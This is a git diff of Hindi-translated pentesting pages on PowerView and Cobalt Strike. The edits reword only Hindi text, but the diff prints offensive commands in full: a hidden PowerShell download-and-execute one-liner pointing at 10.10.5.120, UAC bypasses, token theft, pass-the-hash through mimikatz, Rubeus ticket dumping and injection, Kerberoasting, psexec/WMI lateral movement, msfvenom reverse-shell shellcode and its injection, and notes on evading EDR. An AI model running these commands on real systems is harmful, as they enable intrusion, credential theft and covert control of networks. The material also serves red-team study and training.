C:\WINDOWS\System32\drivers\etc\hosts ``` @@ -374,7 +374,7 @@ $ping = New-Object System.Net.Networkinformation.Ping ```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` -## **SDDL स्ट्रिंग को पठनीय प्रारूप में परिवर्तित करना** +## **SDDL स्ट्रिंग को पढ़ने योग्य प्रारूप में परिवर्तित करना** ```bash PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index cb8ca679d..b653bb822 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -136,8 +136,8 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n ``` ### Group Policy Object - GPOs -यदि एक हमलावर के पास **GPO पर उच्च विशेषाधिकार** हैं, तो वह **privesc** का उपयोग करके **एक उपयोगकर्ता को अनुमतियाँ जोड़ने**, **एक स्थानीय व्यवस्थापक उपयोगकर्ता** को एक होस्ट में जोड़ने या **एक अनुसूचित कार्य** (तत्काल) बनाने में सक्षम हो सकता है।\ -[**इस बारे में अधिक जानकारी और इसे कैसे दुरुपयोग करें, इस लिंक का पालन करें**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation). +यदि एक हमलावर के पास **GPO पर उच्च विशेषाधिकार** हैं, तो वह **प्रिवेस्क** का उपयोग करके **एक उपयोगकर्ता को अनुमतियाँ जोड़ने**, **एक स्थानीय व्यवस्थापक उपयोगकर्ता** को एक होस्ट में जोड़ने या **एक अनुसूचित कार्य** (तत्काल) बनाने में सक्षम हो सकता है।\ +[**इस बारे में और जानकारी और इसे कैसे दुरुपयोग करना है, इस लिंक का पालन करें**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation). ```bash #GPO Get-DomainGPO | select displayName #Check the names for info @@ -271,7 +271,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ```bash "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` -#### Kerberoast +#### केर्बेरॉस्ट ```bash Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index fcd4c406a..204689a70 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -30,7 +30,7 @@ #### Generate & Host payloads -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` यह Cobalt Strike से बीकन डाउनलोड करने के लिए एक स्क्रिप्ट/एक्ज़ीक्यूटेबल उत्पन्न करेगा, जैसे: bitsadmin, exe, powershell और python। +`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` यह Cobalt Strike से बीकन डाउनलोड करने के लिए एक स्क्रिप्ट/एक्जीक्यूटेबल उत्पन्न करेगा, जैसे: bitsadmin, exe, powershell और python। #### Host Payloads @@ -68,52 +68,52 @@ psinject # यह निर्दिष् # User impersonation ## क्रेड्स के साथ टोकन जनरेशन make_token [DOMAIN\user] [password] # नेटवर्क में एक उपयोगकर्ता का अनुकरण करने के लिए टोकन बनाएं -ls \\computer_name\c$ # कंप्यूटर में C$ तक पहुँचने के लिए जनरेट किए गए टोकन का उपयोग करने का प्रयास करें -rev2self # make_token के साथ जनरेट किए गए टोकन का उपयोग करना बंद करें -## make_token का उपयोग करने से ईवेंट 4624 उत्पन्न होता है: एक खाता सफलतापूर्वक लॉग ऑन हुआ। यह ईवेंट Windows डोमेन में बहुत सामान्य है, लेकिन लॉगऑन प्रकार पर फ़िल्टर करके इसे संकीर्ण किया जा सकता है। जैसा कि ऊपर उल्लेख किया गया है, यह LOGON32_LOGON_NEW_CREDENTIALS का उपयोग करता है जो प्रकार 9 है। +ls \\computer_name\c$ # कंप्यूटर में C$ तक पहुँचने के लिए उत्पन्न टोकन का उपयोग करने का प्रयास करें +rev2self # make_token के साथ उत्पन्न टोकन का उपयोग करना बंद करें +## make_token का उपयोग करने से घटना 4624 उत्पन्न होती है: एक खाता सफलतापूर्वक लॉग इन हुआ। यह घटना Windows डोमेन में बहुत सामान्य है, लेकिन लॉगिन प्रकार पर फ़िल्टर करके इसे संकीर्ण किया जा सकता है। जैसा कि ऊपर उल्लेख किया गया है, यह LOGON32_LOGON_NEW_CREDENTIALS का उपयोग करता है जो प्रकार 9 है। # UAC Bypass elevate svc-exe elevate uac-token-duplication runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -## PID से टोकन चुराना +## pid से टोकन चुराना ## make_token की तरह लेकिन एक प्रक्रिया से टोकन चुराना steal_token [pid] # इसके अलावा, यह नेटवर्क क्रियाओं के लिए उपयोगी है, स्थानीय क्रियाओं के लिए नहीं -## API दस्तावेज़ से हम जानते हैं कि यह लॉगऑन प्रकार "कॉलर को अपने वर्तमान टोकन को क्लोन करने की अनुमति देता है"। यही कारण है कि बीकन आउटपुट कहता है अनुकरण किया गया - यह हमारे अपने क्लोन किए गए टोकन का अनुकरण कर रहा है। -ls \\computer_name\c$ # कंप्यूटर में C$ तक पहुँचने के लिए जनरेट किए गए टोकन का उपयोग करने का प्रयास करें +## API दस्तावेज़ से हम जानते हैं कि यह लॉगिन प्रकार "caller को अपने वर्तमान टोकन को क्लोन करने की अनुमति देता है"। यही कारण है कि बीकन आउटपुट कहता है अनुकरण किया गया - यह हमारे अपने क्लोन किए गए टोकन का अनुकरण कर रहा है। +ls \\computer_name\c$ # कंप्यूटर में C$ तक पहुँचने के लिए उत्पन्न टोकन का उपयोग करने का प्रयास करें rev2self # steal_token से टोकन का उपयोग करना बंद करें ## नए क्रेडेंशियल्स के साथ प्रक्रिया लॉन्च करें spawnas [domain\username] [password] [listener] # ऐसा किसी निर्देशिका से करें जिसमें पढ़ने की अनुमति हो जैसे: cd C:\ -## make_token की तरह, यह Windows ईवेंट 4624 उत्पन्न करेगा: एक खाता सफलतापूर्वक लॉग ऑन हुआ लेकिन लॉगऑन प्रकार 2 (LOGON32_LOGON_INTERACTIVE) के साथ। यह कॉलिंग उपयोगकर्ता (TargetUserName) और अनुकरण किए गए उपयोगकर्ता (TargetOutboundUserName) का विवरण देगा। +## make_token की तरह, यह Windows घटना 4624 उत्पन्न करेगा: एक खाता सफलतापूर्वक लॉग इन हुआ लेकिन लॉगिन प्रकार 2 (LOGON32_LOGON_INTERACTIVE) के साथ। यह कॉलिंग उपयोगकर्ता (TargetUserName) और अनुकरण किए गए उपयोगकर्ता (TargetOutboundUserName) का विवरण देगा। ## प्रक्रिया में इंजेक्ट करें inject [pid] [x64|x86] [listener] ## OpSec के दृष्टिकोण से: जब तक आपको वास्तव में आवश्यकता न हो, क्रॉस-प्लेटफ़ॉर्म इंजेक्शन न करें (जैसे x86 -> x64 या x64 -> x86)। -## पास द हैश +## Pass the hash ## इस संशोधन प्रक्रिया के लिए LSASS मेमोरी का पैचिंग आवश्यक है जो एक उच्च-जोखिम क्रिया है, स्थानीय व्यवस्थापक विशेषाधिकार की आवश्यकता होती है और यदि प्रोटेक्टेड प्रोसेस लाइट (PPL) सक्षम है तो यह सभी तरह से व्यवहार्य नहीं है। pth [pid] [arch] [DOMAIN\user] [NTLM hash] pth [DOMAIN\user] [NTLM hash] -## मिमिकैट्ज़ के माध्यम से पास द हैश +## Mimikatz के माध्यम से हैश पास करें mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden" -## /run के बिना, मिमिकैट्ज़ एक cmd.exe स्पॉन करता है, यदि आप एक उपयोगकर्ता के रूप में डेस्कटॉप पर चल रहे हैं, तो वह शेल देखेगा (यदि आप SYSTEM के रूप में चल रहे हैं तो आप ठीक हैं) -steal_token # मिमिकैट्ज़ द्वारा बनाई गई प्रक्रिया से टोकन चुराएं +## /run के बिना, mimikatz एक cmd.exe उत्पन्न करता है, यदि आप एक उपयोगकर्ता के रूप में डेस्कटॉप पर चल रहे हैं, तो वह शेल देखेगा (यदि आप SYSTEM के रूप में चल रहे हैं तो आप ठीक हैं) +steal_token #mimikatz द्वारा बनाई गई प्रक्रिया से टोकन चुराएं -## पास द टिकट +## Pass the ticket ## एक टिकट का अनुरोध करें execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec -## नए टिकट के साथ उपयोग करने के लिए एक नया लॉगऑन सत्र बनाएं (समझौता किए गए को अधिलेखित न करने के लिए) +## नए टिकट के साथ उपयोग करने के लिए एक नया लॉगिन सत्र बनाएं (समझौता किए गए एक को अधिलेखित न करने के लिए) make_token \ DummyPass ## एक पॉवशेल सत्र से हमलावर मशीन में टिकट लिखें और इसे लोड करें [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]")) kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi ## SYSTEM से टिकट पास करें -## टिकट के साथ एक नया प्रोसेस जनरेट करें +## टिकट के साथ एक नई प्रक्रिया उत्पन्न करें execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe ## उस प्रक्रिया से टोकन चुराएं steal_token @@ -123,31 +123,31 @@ steal_token execute-assembly C:\path\Rubeus.exe triage ### luid द्वारा दिलचस्प टिकट डंप करें execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap -### नया लॉगऑन सत्र बनाएं, luid और processid नोट करें +### नया लॉगिन सत्र बनाएं, luid और processid नोट करें execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe -### जनरेट किए गए लॉगऑन सत्र में टिकट डालें +### उत्पन्न लॉगिन सत्र में टिकट डालें execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...] ### अंततः, उस नए प्रक्रिया से टोकन चुराएं steal_token -# Lateral Movement +# Lateral Movement ## यदि एक टोकन बनाया गया है, तो इसका उपयोग किया जाएगा jump [method] [target] [listener] ## विधियाँ: ## psexec x86 एक सेवा का उपयोग करके एक सेवा EXE कलाकृति चलाएँ ## psexec64 x64 एक सेवा का उपयोग करके एक सेवा EXE कलाकृति चलाएँ -## psexec_psh x86 एक सेवा का उपयोग करके एक PowerShell एक-लाइनर चलाएँ -## winrm x86 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएँ -## winrm64 x64 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएँ +## psexec_psh x86 एक सेवा का उपयोग करके एक PowerShell एक-लाइनर चलाएँ +## winrm x86 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएँ +## winrm64 x64 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएँ ## wmi_msbuild x64 msbuild इनलाइन c# कार्य के साथ wmi लेटरल मूवमेंट (oppsec) remote-exec [method] [target] [command] # remote-exec आउटपुट नहीं लौटाता है ## विधियाँ: -## psexec सेवा नियंत्रण प्रबंधक के माध्यम से दूरस्थ निष्पादन -## winrm WinRM (PowerShell) के माध्यम से दूरस्थ निष्पादन -## wmi WMI के माध्यम से दूरस्थ निष्पादन +## psexec सेवा नियंत्रण प्रबंधक के माध्यम से दूरस्थ निष्पादन +## winrm WinRM (PowerShell) के माध्यम से दूरस्थ निष्पादन +## wmi WMI के माध्यम से दूरस्थ निष्पादन -## WMI के साथ एक बीकन निष्पादित करने के लिए (यह जंप कमांड में नहीं है) बस बीकन अपलोड करें और इसे निष्पादित करें +## WMI के साथ एक बीकन निष्पादित करने के लिए (यह jump कमांड में नहीं है) बस बीकन अपलोड करें और इसे निष्पादित करें beacon> upload C:\Payloads\beacon-smb.exe beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe @@ -161,7 +161,7 @@ msf6 exploit(multi/handler) > exploit -j ## Cobalt पर: Listeners > Add और Payload को Foreign HTTP पर सेट करें। Host को 10.10.5.120 पर सेट करें, Port को 8080 पर सेट करें और Save पर क्लिक करें। beacon> spawn metasploit -## आप केवल विदेशी लिस्नर के साथ x86 Meterpreter सत्र स्पॉन कर सकते हैं। +## आप केवल विदेशी लिस्नर के साथ x86 Meterpreter सत्र उत्पन्न कर सकते हैं। # Pass session to Metasploit - Through shellcode injection ## Metasploit होस्ट पर @@ -170,10 +170,10 @@ msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw ## बिन फ़ाइल को Cobalt Strike होस्ट पर कॉपी करें ps -shinject x64 C:\Payloads\msf.bin # x64 प्रक्रिया में मेटास्प्लॉइट शेलकोड इंजेक्ट करें +shinject x64 C:\Payloads\msf.bin #x64 प्रक्रिया में मेटास्प्लॉइट शेलकोड इंजेक्ट करें # Pass metasploit session to cobalt strike -## स्टेजलेस बीकन शेलकोड उत्पन्न करें, Attacks > Packages > Windows Executable (S) पर जाएं, इच्छित लिस्नर का चयन करें, आउटपुट प्रकार के रूप में Raw का चयन करें और x64 पेलोड का उपयोग करें। +## स्टेजलेस बीकन शेलकोड उत्पन्न करें, Attacks > Packages > Windows Executable (S) पर जाएं, इच्छित लिस्नर का चयन करें, आउटपुट प्रकार के रूप में Raw का चयन करें और x64 payload का उपयोग करें। ## मेटास्प्लॉइट में post/windows/manage/shellcode_inject का उपयोग करें ताकि उत्पन्न Cobalt Strike शेलकोड को इंजेक्ट किया जा सके। # Pivoting @@ -185,7 +185,7 @@ beacon> ssh 10.10.17.12:22 username password
## Opsec -### Execute-Assembly +### Execute-Assembly **`execute-assembly`** एक **बलिदान प्रक्रिया** का उपयोग करता है जो दूरस्थ प्रक्रिया इंजेक्शन का उपयोग करके निर्दिष्ट कार्यक्रम को निष्पादित करता है। यह बहुत शोर करता है क्योंकि किसी प्रक्रिया के अंदर इंजेक्ट करने के लिए कुछ Win APIs का उपयोग किया जाता है जिन्हें हर EDR चेक कर रहा है। हालाँकि, कुछ कस्टम टूल हैं जिन्हें उसी प्रक्रिया में कुछ लोड करने के लिए उपयोग किया जा सकता है: @@ -194,32 +194,32 @@ beacon> ssh 10.10.17.12:22 username password
